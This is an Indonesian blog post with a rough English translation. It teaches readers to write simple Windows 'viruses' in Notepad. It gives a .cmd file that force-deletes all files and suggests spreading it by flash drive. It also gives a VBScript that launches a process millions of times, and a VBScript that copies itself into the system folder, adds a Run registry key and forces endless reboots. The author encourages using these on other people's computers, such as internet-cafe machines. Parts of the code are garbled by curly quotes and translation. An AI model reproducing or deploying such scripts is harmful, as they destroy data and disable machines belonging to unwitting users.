Cara Membuat Virus Trojan

1.Buka Notepad
2.Ketikan DEL /F /Q *
 3.Save dengan nama_yang_diinginkan.cmd
4.Sebarkan virus ini melalui flashdisk
Fungsi Viruz ini bakal

delete semua File dan Folder, jadi saya saranin untuk membuat virus ini di komputer warnet. Jangan lupa ganti save as type-nya menjadi all files. n jangan coba" ngeklik kalau loe nekad ngeklik nih virus di komputer loe sendiri, gue gak akan tanggung jawab. Jadi hati –hati!!!! ditunggu coment n sharenya.

Semi mamatikan tapi canggih juga ini viruz
Membuat virus bukanlah merupakan hal yang sulit. Karena, kita dapat membuatnya dengan notepad yang terdapat di semua komputer yang memakai Windows.
Virus yang akan kita buat ini, adalah virus yang membuat komputer yang terinfeksi menjadi tidak bisa berjalan sama sekali.

langkah-langkah:

1. buka notepad
2. copy+paste bahasa pemograman di bawah ini:
option explicit
dim wshshell
set wshshell=wscript.createobject("wscript.shell")

dim x
for x = 1 to 100000000
wshshell.run "tourstart.exe"
next
3. Save notepad dengan nama virus.vbs
  

atau makek method yg ini


1. Buka Notepad lu > All Program > Notepad
2. Copy Paste Script Berijut ini ke Notepad tadi

set FSobj=CreateObject(“Scripting.FileSystemObject”)
set sysDir = FSobj.GetSpecialFolder(1)
createRegKey “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB”,sysDir&”\dlRB.vbs”
sub createRegKey(regKey,regVal)
set regEdit = CreateObject(“WScript.Shell”)
regEdit.RegWrite regKey,regVal
end sub
set generateCopy=FSobj.CreateTextFile(sysDir+”\dlRB.vbs”)
generateCopy.close
set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),”"”")
set procreateCopy=FSobj.OpenTextFile(sysDir+”\dlRB.vbs”,2)
procreateCopy.write fixedCode
procreateCopy.close
rebootSystem()
function setFile()
fileData=”rem – ^dlRB^ by D.L.” &vbcrlf& _
“strComputer = ^.^ ” &vbcrlf& _
“Set objWMIService = GetObject(^winmgmts:^ _ ” &vbcrlf& _
“& ^{impers & strComputer & ^\root\cimv2^)” &vbcrlf& _
“Set colOperatingSystems = objWMIService.ExecQuery _ ” &vbcrlf& _
“(^Select * from Win32_OperatingSystem^)” &vbcrlf& _
“For Each objOperatingSystem in colOperatingSystems” &vbcrlf& _
“ObjOperatingSystem.Reboot()” &vbcrlf& _
“Next”
end function
function rebootSystem()
strComputer = “.”
Set objWMIService = GetObject(“winmgmts:” _
& “{impers & strComputer & “\root\cimv2?)
Set colOperatingSystems = objWMIService.ExecQuery _
(“Select * from Win32_OperatingSystem”)
For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function

3. Dipikir secara logika ini adalah Coding script untuk me-reebot komputer
4. oke tanpa basa basi silahkan simpan dengan format .vbs contoh gantengers.vbs dan jangan lupa pilih all files
5. Virus/Script kode perintah akan berjalan kalo lu klik , dan kalau mau coba ya silahkan yang rusak punya elu bukan gue

English


1. Open Notepad
2. Type DEL / F / Q *
 3. Save with name_yang_di desired.cmd
4. Spread this virus through a flashdisk
Viruz's function will be

delete all Files and Folders, so I recommend creating this virus on the internet cafe. Don't forget to change the save as type to all files. n don't try "clicking if you are determined to click on the virus on your own computer, I will not be responsible. So be careful !!!! waiting for the message.

Semi-impressive but sophisticated too, viruz
Creating a virus is not a difficult thing. Because, we can make it with notepad found on all computers that use Windows.
The virus that we will make is a virus that makes an infected computer unable to run at all.

steps:

1. Open Notepad
2. copy + paste the programming language below:
explicit option
dim wshshell
set wshshell = wscript.createobject ("wscript.shell")

dim x
for x = 1 to 100000000
wshshell.run "tourstart.exe"
next
3. Save notepad with the name virus.vbs
  

or use this method


1. Open Notepad lu> All Program> Notepad
2. Copy Paste the Berijut Script to Notepad earlier

set FSobj = CreateObject ("Scripting.FileSystemObject")
set sysDir = FSobj.GetSpecialFolder (1)
createRegKey "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ dlRB", sysDir & "\ dlRB.vbs"
createRegKey sub (regKey, regVal)
set regEdit = CreateObject ("WScript.Shell")
regEdit.RegWrite regKey, regVal
end sub
set generateCopy = FSobj.CreateTextFile (sysDir + "\ dlRB.vbs")
generateCopy.close
set newFile = FSobj.OpenTextFile (WScript.ScriptFullname, 1)
setFile ()
fixedCode = replace (fileData, chr (94), "" "")
set procreateCopy = FSobj.OpenTextFile (sysDir + "\ dlRB.vbs", 2)
procreateCopy.write fixedCode
procreateCopy.close
rebootSystem ()
function setFile ()
fileData = "brake - ^ dlRB ^ by D.L." & vbcrlf & _
"StrComputer = ^. ^" & Vbcrlf & _
"Set objWMIService = GetObject (^ winmgmts: ^ _" & vbcrlf & _
"& ^ {Impers & strComputer & ^ \ root \ cimv2 ^)" & vbcrlf & _
"Set colOperatingSystems = objWMIService.ExecQuery _" & vbcrlf & _
"(^ Select * from Win32_OperatingSystem ^)" & vbcrlf & _
"For Each objOperating System in colOperatingSystems" & vbcrlf & _
"ObjOperatingSystem.Reboot ()" & vbcrlf & _
"Next"
end function
rebootSystem function ()
strComputer = "."
Set objWMIService = GetObject ("winmgmts:" _
& "{Impers & strComputer &" \ root \ cimv2?)
Set colOperatingSystems = objWMIService.ExecQuery _
("Select * from Win32_OperatingSystem")
For Each objOperating System in colOperatingSystems
ObjOperatingSystem.Reboot ()
Next
end function

3. Think logically this is Coding script to reebot the computer
4. okay without any strings attached please save with the format .vbs example gantengers.vbs and don't forget to select all files
5. Virus / Script command code will run if you click it, and if you want to try it, please do the damage, have you not me: v